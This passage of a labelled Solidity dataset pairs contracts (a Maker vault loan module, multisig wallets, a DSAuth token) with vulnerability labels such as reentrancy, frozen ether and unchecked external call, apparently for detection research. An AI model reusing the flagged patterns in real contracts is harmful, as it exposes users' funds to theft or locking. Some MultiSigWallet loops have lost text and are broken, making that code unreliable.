unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }",Safe,8,8 45064.sol,"// Copyright (C) 2019 Argent Labs Ltd. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.5.4; import ""./MakerV2Base.sol""; import ""../../infrastructure/MakerRegistry.sol""; interface IUniswapFactory { function getExchange(address _token) external view returns(IUniswapExchange); } interface IUniswapExchange { function getEthToTokenOutputPrice(uint256 _tokensBought) external view returns (uint256); function getEthToTokenInputPrice(uint256 _ethSold) external view returns (uint256); function getTokenToEthOutputPrice(uint256 _ethBought) external view returns (uint256); function getTokenToEthInputPrice(uint256 _tokensSold) external view returns (uint256); } /** * @title MakerV2Loan * @dev Module to migrate old CDPs and open and manage new vaults. The vaults managed by * this module are directly owned by the module. This is to prevent a compromised wallet owner * from being able to use `TransferManager.callContract()` to transfer ownership of a vault * (a type of asset NOT protected by a wallet's daily limit) to another account. * @author Olivier VDB - */ contract MakerV2Loan is MakerV2Base { // The address of the MKR token GemLike internal mkrToken; // The address of the WETH token GemLike internal wethToken; // The address of the WETH Adapter JoinLike internal wethJoin; // The address of the Jug JugLike internal jug; // The address of the Vault Manager (referred to as 'CdpManager' to match Maker's naming) ManagerLike internal cdpManager; // The address of the SCD Tub SaiTubLike internal tub; // The Maker Registry in which all supported collateral tokens and their adapters are stored MakerRegistry internal makerRegistry; // The Uniswap Exchange contract for DAI IUniswapExchange internal daiUniswap; // The Uniswap Exchange contract for MKR IUniswapExchange internal mkrUniswap; // Mapping [wallet][ilk] -> loanId, that keeps track of cdp owners // while also enforcing a maximum of one loan per token (ilk) and per wallet // (which will make future upgrades of the module easier) mapping(address => mapping(bytes32 => bytes32)) public loanIds; // Lock used by nonReentrant() bool private _notEntered = true; // Mock token address for ETH address constant internal ETH_TOKEN_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ****************** Events *************************** // // Emitted when an SCD CDP is converted into an MCD vault event CdpMigrated(address indexed _wallet, bytes32 _oldCdpId, bytes32 _newVaultId); // Vault management events event LoanOpened( address indexed _wallet, bytes32 indexed _loanId, address _collateral, uint256 _collateralAmount, address _debtToken, uint256 _debtAmount ); event LoanClosed(address indexed _wallet, bytes32 indexed _loanId); event CollateralAdded(address indexed _wallet, bytes32 indexed _loanId, address _collateral, uint256 _collateralAmount); event CollateralRemoved(address indexed _wallet, bytes32 indexed _loanId, address _collateral, uint256 _collateralAmount); event DebtAdded(address indexed _wallet, bytes32 indexed _loanId, address _debtToken, uint256 _debtAmount); event DebtRemoved(address indexed _wallet, bytes32 indexed _loanId, address _debtToken, uint256 _debtAmount); // *************** Modifiers *************************** // /** * @dev Throws if the sender is not an authorised module. */ modifier onlyModule(BaseWallet _wallet) { require(_wallet.authorised(msg.sender), ""MV2: sender unauthorized""); _; } /** * @dev Prevents call reentrancy */ modifier nonReentrant() { require(_notEntered, ""MV2: reentrant call""); _notEntered = false; _; _notEntered = true; } // *************** Constructor ********************** // constructor( JugLike _jug, MakerRegistry _makerRegistry, IUniswapFactory _uniswapFactory ) public { cdpManager = ScdMcdMigrationLike(scdMcdMigration).cdpManager(); tub = ScdMcdMigrationLike(scdMcdMigration).tub(); wethJoin = ScdMcdMigrationLike(scdMcdMigration).wethJoin(); wethToken = wethJoin.gem(); mkrToken = tub.gov(); jug = _jug; makerRegistry = _makerRegistry; daiUniswap = _uniswapFactory.getExchange(address(daiToken)); mkrUniswap = _uniswapFactory.getExchange(address(mkrToken)); // Authorize daiJoin to exit DAI from the module's internal balance in the vat vat.hope(address(daiJoin)); } // *************** External/Public Functions ********************* // /* ********************************** Implementation of Loan ************************************* */ /** * @dev Opens a collateralized loan. * @param _wallet The target wallet. * @param _collateral The token used as a collateral. * @param _collateralAmount The amount of collateral token provided. * @param _debtToken The token borrowed (must be the address of the DAI contract). * @param _debtAmount The amount of tokens borrowed. * @return The ID of the created vault. */ function openLoan( BaseWallet _wallet, address _collateral, uint256 _collateralAmount, address _debtToken, uint256 _debtAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) returns (bytes32 _loanId) { verifySupportedCollateral(_collateral); require(_debtToken == address(daiToken), ""MV2: debt token not DAI""); _loanId = bytes32(openVault(_wallet, _collateral, _collateralAmount, _debtAmount)); emit LoanOpened(address(_wallet), _loanId, _collateral, _collateralAmount, _debtToken, _debtAmount); } /** * @dev Adds collateral to a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target vault. * @param _collateral The token used as a collateral. * @param _collateralAmount The amount of collateral to add. */ function addCollateral( BaseWallet _wallet, bytes32 _loanId, address _collateral, uint256 _collateralAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { verifyLoanOwner(_wallet, _loanId); addCollateral(_wallet, uint256(_loanId), _collateralAmount); emit CollateralAdded(address(_wallet), _loanId, _collateral, _collateralAmount); } /** * @dev Removes collateral from a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target vault. * @param _collateral The token used as a collateral. * @param _collateralAmount The amount of collateral to remove. */ function removeCollateral( BaseWallet _wallet, bytes32 _loanId, address _collateral, uint256 _collateralAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { verifyLoanOwner(_wallet, _loanId); removeCollateral(_wallet, uint256(_loanId), _collateralAmount); emit CollateralRemoved(address(_wallet), _loanId, _collateral, _collateralAmount); } /** * @dev Increases the debt by borrowing more token from a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target vault. * @param _debtToken The token borrowed (must be the address of the DAI contract). * @param _debtAmount The amount of token to borrow. */ function addDebt( BaseWallet _wallet, bytes32 _loanId, address _debtToken, uint256 _debtAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { verifyLoanOwner(_wallet, _loanId); addDebt(_wallet, uint256(_loanId), _debtAmount); emit DebtAdded(address(_wallet), _loanId, _debtToken, _debtAmount); } /** * @dev Decreases the debt by repaying some token from a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target vault. * @param _debtToken The token to repay (must be the address of the DAI contract). * @param _debtAmount The amount of token to repay. */ function removeDebt( BaseWallet _wallet, bytes32 _loanId, address _debtToken, uint256 _debtAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { verifyLoanOwner(_wallet, _loanId); updateStabilityFee(uint256(_loanId)); removeDebt(_wallet, uint256(_loanId), _debtAmount); emit DebtRemoved(address(_wallet), _loanId, _debtToken, _debtAmount); } /** * @dev Closes a collateralized loan by repaying all debts (plus interest) and redeeming all collateral. * @param _wallet The target wallet. * @param _loanId The ID of the target vault. */ function closeLoan( BaseWallet _wallet, bytes32 _loanId ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { verifyLoanOwner(_wallet, _loanId); updateStabilityFee(uint256(_loanId)); closeVault(_wallet, uint256(_loanId)); emit LoanClosed(address(_wallet), _loanId); } /* *************************************** Other vault methods ***************************************** */ /** * @dev Lets a vault owner transfer their vault from their wallet to the present module so the vault * can be managed by the module. * @param _wallet The target wallet. * @param _loanId The ID of the target vault. */ function acquireLoan( BaseWallet _wallet, bytes32 _loanId ) external nonReentrant onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { require(cdpManager.owns(uint256(_loanId)) == address(_wallet), ""MV2: wrong vault owner""); // Transfer the vault from the wallet to the module invokeWallet( address(_wallet), address(cdpManager), 0, abi.encodeWithSignature(""give(uint256,address)"", uint256(_loanId), address(this)) ); require(cdpManager.owns(uint256(_loanId)) == address(this), ""MV2: failed give""); // Mark the incoming vault as belonging to the wallet (or merge it into the existing vault if there is one) assignLoanToWallet(_wallet, _loanId); } /** * @dev Lets a SCD CDP owner migrate their CDP to use the new MCD engine. * Requires MKR or ETH to pay the SCD governance fee * @param _wallet The target wallet. * @param _cup id of the old SCD CDP to migrate */ function migrateCdp( BaseWallet _wallet, bytes32 _cup ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) returns (bytes32 _loanId) { (uint daiPerMkr, bool ok) = tub.pep().peek(); if (ok && daiPerMkr != 0) { // get governance fee in MKR uint mkrFee = tub.rap(_cup).wdiv(daiPerMkr); // Convert some ETH into MKR with Uniswap if necessary buyTokens(_wallet, mkrToken, mkrFee, mkrUniswap); // Transfer the MKR to the Migration contract invokeWallet(address(_wallet), address(mkrToken), 0, abi.encodeWithSignature(""transfer(address,uint256)"", address(scdMcdMigration), mkrFee)); } // Transfer ownership of the SCD CDP to the migration contract invokeWallet(address(_wallet), address(tub), 0, abi.encodeWithSignature(""give(bytes32,address)"", _cup, address(scdMcdMigration))); // Update stability fee rate jug.drip(wethJoin.ilk()); // Execute the CDP migration _loanId = bytes32(ScdMcdMigrationLike(scdMcdMigration).migrate(_cup)); // Mark the new vault as belonging to the wallet (or merge it into the existing vault if there is one) _loanId = assignLoanToWallet(_wallet, _loanId); emit CdpMigrated(address(_wallet), _cup, _loanId); } /** * @dev Lets a future upgrade of this module transfer a vault to itself * @param _wallet The target wallet. * @param _loanId The ID of the target vault. */ function giveVault( BaseWallet _wallet, bytes32 _loanId ) external onlyModule(_wallet) onlyWhenUnlocked(_wallet) { verifyLoanOwner(_wallet, _loanId); cdpManager.give(uint256(_loanId), msg.sender); clearLoanOwner(_wallet, _loanId); } /* ************************************** Internal Functions ************************************** */ function toInt(uint256 _x) internal pure returns (int _y) { _y = int(_x); require(_y >= 0, ""MV2: int overflow""); } function assignLoanToWallet(BaseWallet _wallet, bytes32 _loanId) internal returns (bytes32 _assignedLoanId) { bytes32 ilk = cdpManager.ilks(uint256(_loanId)); // Check if the user already holds a vault in the MakerV2Manager bytes32 existingLoanId = loanIds[address(_wallet)][ilk]; if (existingLoanId > 0) { // Merge the new loan into the existing loan cdpManager.shift(uint256(_loanId), uint256(existingLoanId)); return existingLoanId; } // Record the new vault as belonging to the wallet loanIds[address(_wallet)][ilk] = _loanId; return _loanId; } function clearLoanOwner(BaseWallet _wallet, bytes32 _loanId) internal { delete loanIds[address(_wallet)][cdpManager.ilks(uint256(_loanId))]; } function verifyLoanOwner(BaseWallet _wallet, bytes32 _loanId) internal view { require(loanIds[address(_wallet)][cdpManager.ilks(uint256(_loanId))] == _loanId, ""MV2: unauthorized loanId""); } function verifySupportedCollateral(address _collateral) internal view { if (_collateral != ETH_TOKEN_ADDRESS) { (bool collateralSupported,,,) = makerRegistry.collaterals(_collateral); require(collateralSupported, ""MV2: unsupported collateral""); } } function buyTokens( BaseWallet _wallet, GemLike _token, uint256 _tokenAmountRequired, IUniswapExchange _uniswapExchange ) internal { // get token balance uint256 tokenBalance = _token.balanceOf(address(_wallet)); if (tokenBalance < _tokenAmountRequired) { // Not enough tokens => Convert some ETH into tokens with Uniswap uint256 etherValueOfTokens = _uniswapExchange.getEthToTokenOutputPrice(_tokenAmountRequired - tokenBalance); // solium-disable-next-line security/no-block-members invokeWallet(address(_wallet), address(_uniswapExchange), etherValueOfTokens, abi.encodeWithSignature(""ethToTokenSwapOutput(uint256,uint256)"", _tokenAmountRequired - tokenBalance, now)); } } function joinCollateral( BaseWallet _wallet, uint256 _cdpId, uint256 _collateralAmount, bytes32 _ilk ) internal { // Get the adapter and collateral token for the vault (JoinLike gemJoin, GemLike collateral) = makerRegistry.getCollateral(_ilk); // Convert ETH to WETH if needed if (gemJoin == wethJoin) { invokeWallet(address(_wallet), address(wethToken), _collateralAmount, abi.encodeWithSignature(""deposit()"")); } // Send the collateral to the module invokeWallet( address(_wallet), address(collateral), 0, abi.encodeWithSignature(""transfer(address,uint256)"", address(this), _collateralAmount) ); // Approve the adapter to pull the collateral from the module collateral.approve(address(gemJoin), _collateralAmount); // Join collateral to the adapter. The first argument to `join` is the address that *technically* owns the vault gemJoin.join(cdpManager.urns(_cdpId), _collateralAmount); } function joinDebt( BaseWallet _wallet, uint256 _cdpId, uint256 _debtAmount // art.mul(rate).div(RAY) === [wad]*[ray]/[ray]=[wad] ) internal { // Send the DAI to the module invokeWallet(address(_wallet), address(daiToken), 0, abi.encodeWithSignature(""transfer(address,uint256)"", address(this), _debtAmount)); // Approve the DAI adapter to burn DAI from the module daiToken.approve(address(daiJoin), _debtAmount); // Join DAI to the adapter. The first argument to `join` is the address that *technically* owns the vault // To avoid rounding issues, we substract one wei to the amount joined daiJoin.join(cdpManager.urns(_cdpId), _debtAmount.sub(1)); } function drawAndExitDebt( BaseWallet _wallet, uint256 _cdpId, uint256 _debtAmount, uint256 _collateralAmount, bytes32 _ilk ) internal { // Get the accumulated rate for the collateral type (, uint rate,,,) = vat.ilks(_ilk); // Express the debt in the RAD units used internally by the vat uint daiDebtInRad = _debtAmount.mul(RAY); // Lock the collateral and draw the debt. To avoid rounding issues we add an extra wei of debt cdpManager.frob(_cdpId, toInt(_collateralAmount), toInt(daiDebtInRad.div(rate) + 1)); // Transfer the (internal) DAI debt from the cdp's urn to the module. cdpManager.move(_cdpId, address(this), daiDebtInRad); // Mint the DAI token and exit it to the user's wallet daiJoin.exit(address(_wallet), _debtAmount); } function updateStabilityFee( uint256 _cdpId ) internal { jug.drip(cdpManager.ilks(_cdpId)); } function debt( uint256 _cdpId ) internal view returns (uint256 _fullRepayment, uint256 _maxNonFullRepayment) { bytes32 ilk = cdpManager.ilks(_cdpId); (, uint256 art) = vat.urns(ilk, cdpManager.urns(_cdpId)); if (art > 0) { (, uint rate,,, uint dust) = vat.ilks(ilk); _maxNonFullRepayment = art.mul(rate).sub(dust).div(RAY); _fullRepayment = art.mul(rate).div(RAY) .add(1) // the amount approved is 1 wei more than the amount repaid, to avoid rounding issues .add(art-art.mul(rate).div(RAY).mul(RAY).div(rate)); // adding 1 extra wei if further rounding issues are expected } } function collateral( uint256 _cdpId ) internal view returns (uint256 _collateralAmount) { (_collateralAmount,) = vat.urns(cdpManager.ilks(_cdpId), cdpManager.urns(_cdpId)); } function verifyValidRepayment( uint256 _cdpId, uint256 _debtAmount ) internal view { (uint256 fullRepayment, uint256 maxRepayment) = debt(_cdpId); require(_debtAmount <= maxRepayment || _debtAmount == fullRepayment, ""MV2: repay less or full""); } /** * @dev Lets the owner of a wallet open a new vault. The owner must have enough collateral * in their wallet. * @param _wallet The target wallet * @param _collateral The token to use as collateral in the vault. * @param _collateralAmount The amount of collateral to lock in the vault. * @param _debtAmount The amount of DAI to draw from the vault * @return The id of the created vault. */ // solium-disable-next-line security/no-assign-params function openVault( BaseWallet _wallet, address _collateral, uint256 _collateralAmount, uint256 _debtAmount ) internal returns (uint256 _cdpId) { // Continue with WETH as collateral instead of ETH if needed if (_collateral == ETH_TOKEN_ADDRESS) { _collateral = address(wethToken); } // Get the ilk for the collateral bytes32 ilk = makerRegistry.getIlk(_collateral); // Open a vault if there isn't already one for the collateral type (the vault owner will effectively be the module) _cdpId = uint256(loanIds[address(_wallet)][ilk]); if (_cdpId == 0) { _cdpId = cdpManager.open(ilk, address(this)); // Mark the vault as belonging to the wallet loanIds[address(_wallet)][ilk] = bytes32(_cdpId); } // Move the collateral from the wallet to the vat joinCollateral(_wallet, _cdpId, _collateralAmount, ilk); // Draw the debt and exit it to the wallet if (_debtAmount > 0) { drawAndExitDebt(_wallet, _cdpId, _debtAmount, _collateralAmount, ilk); } } /** * @dev Lets the owner of a vault add more collateral to their vault. The owner must have enough of the * collateral token in their wallet. * @param _wallet The target wallet * @param _cdpId The id of the vault. * @param _collateralAmount The amount of collateral to add to the vault. */ function addCollateral( BaseWallet _wallet, uint256 _cdpId, uint256 _collateralAmount ) internal { // Move the collateral from the wallet to the vat joinCollateral(_wallet, _cdpId, _collateralAmount, cdpManager.ilks(_cdpId)); // Lock the collateral cdpManager.frob(_cdpId, toInt(_collateralAmount), 0); } /** * @dev Lets the owner of a vault remove some collateral from their vault * @param _wallet The target wallet * @param _cdpId The id of the vault. * @param _collateralAmount The amount of collateral to remove from the vault. */ function removeCollateral( BaseWallet _wallet, uint256 _cdpId, uint256 _collateralAmount ) internal { // Unlock the collateral cdpManager.frob(_cdpId, -toInt(_collateralAmount), 0); // Transfer the (internal) collateral from the cdp's urn to the module. cdpManager.flux(_cdpId, address(this), _collateralAmount); // Get the adapter for the collateral (JoinLike gemJoin,) = makerRegistry.getCollateral(cdpManager.ilks(_cdpId)); // Exit the collateral from the adapter. gemJoin.exit(address(_wallet), _collateralAmount); // Convert WETH to ETH if needed if (gemJoin == wethJoin) { invokeWallet(address(_wallet), address(wethToken), 0, abi.encodeWithSignature(""withdraw(uint256)"", _collateralAmount)); } } /** * @dev Lets the owner of a vault draw more DAI from their vault. * @param _wallet The target wallet * @param _cdpId The id of the vault. * @param _amount The amount of additional DAI to draw from the vault. */ function addDebt( BaseWallet _wallet, uint256 _cdpId, uint256 _amount ) internal { // Draw and exit the debt to the wallet drawAndExitDebt(_wallet, _cdpId, _amount, 0, cdpManager.ilks(_cdpId)); } /** * @dev Lets the owner of a vault partially repay their debt. The repayment is made up of * the outstanding DAI debt plus the DAI stability fee. * The method will use the user's DAI tokens in priority and will, if needed, convert the required * amount of ETH to cover for any missing DAI tokens. * @param _wallet The target wallet * @param _cdpId The id of the vault. * @param _amount The amount of DAI debt to repay. */ function removeDebt( BaseWallet _wallet, uint256 _cdpId, uint256 _amount ) internal { verifyValidRepayment(_cdpId, _amount); // Convert some ETH into DAI with Uniswap if necessary buyTokens(_wallet, daiToken, _amount, daiUniswap); // Move the DAI from the wallet to the vat. joinDebt(_wallet, _cdpId, _amount); // Get the accumulated rate for the collateral type (, uint rate,,,) = vat.ilks(cdpManager.ilks(_cdpId)); // Repay the debt. To avoid rounding issues we reduce the repayment by one wei cdpManager.frob(_cdpId, 0, -toInt(_amount.sub(1).mul(RAY).div(rate))); } /** * @dev Lets the owner of a vault close their vault. The method will: * 1) repay all debt and fee * 2) free all collateral * @param _wallet The target wallet * @param _cdpId The id of the CDP. */ function closeVault( BaseWallet _wallet, uint256 _cdpId ) internal { (uint256 fullRepayment,) = debt(_cdpId); // Repay the debt if (fullRepayment > 0) { removeDebt(_wallet, _cdpId, fullRepayment); } // Remove the collateral uint256 ink = collateral(_cdpId); if (ink > 0) { removeCollateral(_wallet, _cdpId, ink); } } }",./Dataset/reentrancy (RE)/,5,5 10726.sol," pragma solidity ^0.4.24; contract Main0003_setupSBSigners { StabilityBoardProxy constant stabilityBoardProxy = StabilityBoardProxy(0x4686f017D456331ed2C1de66e134D8d05B24413D); function execute(Main0003_setupSBSigners ) external { address[] memory signersToAdd = new address[](3); signersToAdd[0] = 0x9de3F6E7caCbb7e1c2489dFCe21abbB0ecEE6213; signersToAdd[1] = 0xAE162e28575Ba898dc08D283f2Be10AE8b4114A2; signersToAdd[2] = 0x53DBF6E8fe46307C7536eAbb0D90CADA3e732716; stabilityBoardProxy.addSigners(signersToAdd); address[] memory signersToRemove = new address[](1); signersToRemove[0] = 0x7b534c2D0F9Ee973e0b6FE8D4000cA711A20f22e; stabilityBoardProxy.removeSigners(signersToRemove); } } contract MultiSig { using SafeMath for uint256; uint public constant CHUNK_SIZE = 100; mapping(address => bool) public isSigner; address[] public allSigners; uint public activeSignersCount; enum ScriptState {New, Approved, Done, Cancelled, Failed} struct Script { ScriptState state; uint signCount; mapping(address => bool) signedBy; address[] allSigners; } mapping(address => Script) public scripts; address[] public scriptAddresses; event SignerAdded(address signer); event SignerRemoved(address signer); event ScriptSigned(address scriptAddress, address signer); event ScriptApproved(address scriptAddress); event ScriptCancelled(address scriptAddress); event ScriptExecuted(address scriptAddress, bool result); constructor() public { isSigner[msg.sender] = true; allSigners.push(msg.sender); activeSignersCount = 1; emit SignerAdded(msg.sender); } function sign(address scriptAddress) public { require(isSigner[msg.sender], ""sender must be signer""); Script storage script = scripts[scriptAddress]; require(script.state == ScriptState.Approved || script.state == ScriptState.New, ""script state must be New or Approved""); require(!script.signedBy[msg.sender], ""script must not be signed by signer yet""); if(script.allSigners.length == 0) { scriptAddresses.push(scriptAddress); } script.allSigners.push(msg.sender); script.signedBy[msg.sender] = true; script.signCount = script.signCount.add(1); emit ScriptSigned(scriptAddress, msg.sender); if(checkQuorum(script.signCount)){ script.state = ScriptState.Approved; emit ScriptApproved(scriptAddress); } } function execute(address scriptAddress) public returns (bool result) { require(isSigner[msg.sender], ""sender must be signer""); Script storage script = scripts[scriptAddress]; require(script.state == ScriptState.Approved, ""script state must be Approved""); script.state = ScriptState.Failed; if(scriptAddress.delegatecall(bytes4(keccak256(""execute(address)"")), scriptAddress)) { script.state = ScriptState.Done; result = true; } else { result = false; } emit ScriptExecuted(scriptAddress, result); } function cancelScript(address scriptAddress) public { require(msg.sender == address(this), ""only callable via MultiSig""); Script storage script = scripts[scriptAddress]; require(script.state == ScriptState.Approved || script.state == ScriptState.New, ""script state must be New or Approved""); script.state= ScriptState.Cancelled; emit ScriptCancelled(scriptAddress); } function addSigners(address[] signers) public { require(msg.sender == address(this), ""only callable via MultiSig""); for (uint i= 0; i < signers.length; i++) { if (!isSigner[signers[i]]) { require(signers[i] != address(0), ""new signer must not be 0x0""); activeSignersCount++; allSigners.push(signers[i]); isSigner[signers[i]] = true; emit SignerAdded(signers[i]); } } } function removeSigners(address[] signers) public { require(msg.sender == address(this), ""only callable via MultiSig""); for (uint i= 0; i < signers.length; i++) { if (isSigner[signers[i]]) { require(activeSignersCount > 1, ""must not remove last signer""); activeSignersCount--; isSigner[signers[i]] = false; emit SignerRemoved(signers[i]); } } } function checkQuorum(uint signersCount) internal view returns(bool isQuorum); function getAllSignersCount() view external returns (uint allSignersCount) { return allSigners.length; } function getAllSigners(uint offset) external view returns(uint[3][CHUNK_SIZE] signersResult) { for (uint8 i = 0; i < CHUNK_SIZE && i + offset < allSigners.length; i++) { address signerAddress = allSigners[i + offset]; signersResult[i] = [ i + offset, uint(signerAddress), isSigner[signerAddress] ? 1 : 0 ]; } } function getScriptsCount() view external returns (uint scriptsCount) { return scriptAddresses.length; } function getAllScripts(uint offset) external view returns(uint[4][CHUNK_SIZE] scriptsResult) { for (uint8 i = 0; i < CHUNK_SIZE && i + offset < scriptAddresses.length; i++) { address scriptAddress = scriptAddresses[i + offset]; scriptsResult[i] = [ i + offset, uint(scriptAddress), uint(scripts[scriptAddress].state), scripts[scriptAddress].signCount ]; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b, ""mul overflow""); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, ""div by 0""); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""sub underflow""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, ""add overflow""); return c; } function roundedDiv(uint a, uint b) internal pure returns (uint256) { require(b > 0, ""div by 0""); uint256 z = a / b; if (a % b >= b / 2) { z++; } return z; } } contract StabilityBoardProxy is MultiSig { function checkQuorum(uint signersCount) internal view returns(bool isQuorum) { isQuorum = signersCount > activeSignersCount / 2 ; } }",./Dataset/ether frozen (EF),2,2 35276.sol,"pragma solidity 0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i contract MultiSigWalletWithDailyLimit is MultiSigWallet { /* * Events */ event DailyLimitChange(uint dailyLimit); /* * Storage */ uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction tx = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) { tx.executed = true; if (!_confirmed) spentToday += tx.value; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; if (!_confirmed) spentToday -= tx.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }",./Dataset/unchecked external call (UC),7,7 535.sol,"pragma solidity ^0.4.23; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSStop is DSNote, DSAuth { bool public stopped; modifier stoppable { require(!stopped); _; } function stop() public auth note { stopped = true; } function start() public auth note { stopped = false; } } contract ERC20Events { event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); } contract ERC20 is ERC20Events { function totalSupply() public view returns (uint); function balanceOf(address guy) public view returns (uint); function allowance(address src, address guy) public view returns (uint); function approve(address guy, uint wad) public returns (bool); function transfer(address dst, uint wad) public returns (bool); function transferFrom( address src, address dst, uint wad ) public returns (bool); } contract DSMath { function add(uint x, uint y) internal pure returns 